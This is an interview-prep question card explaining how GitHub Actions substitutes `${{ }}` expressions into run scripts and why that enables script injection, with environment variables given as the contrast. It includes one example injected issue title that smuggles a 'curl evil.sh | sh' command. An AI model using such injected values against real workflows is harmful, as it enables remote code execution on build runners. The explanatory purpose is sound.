Interview Prep/GitHub Actions/Contexts, Expressions, Env & Outputs

What does `${{ }}` inside a `run:` actually do at runtime?

AdvancedConceptContexts, Expressions, Env & Outputs
Answer

GitHub evaluates the expression and pastes the resulting text into the script before writing the script to a temp file on the runner. The shell never sees the expression, only the substituted text. So run: echo "${{ github.event.issue.title }}" with a title of "; curl evil.sh | sh; echo " becomes three commands. Environment variables are different: the shell expands "$TITLE" as data. This single fact explains script injection.

All GitHub Actions questions Roadmap: GitHub Actions

More on Contexts, Expressions, Env & Outputs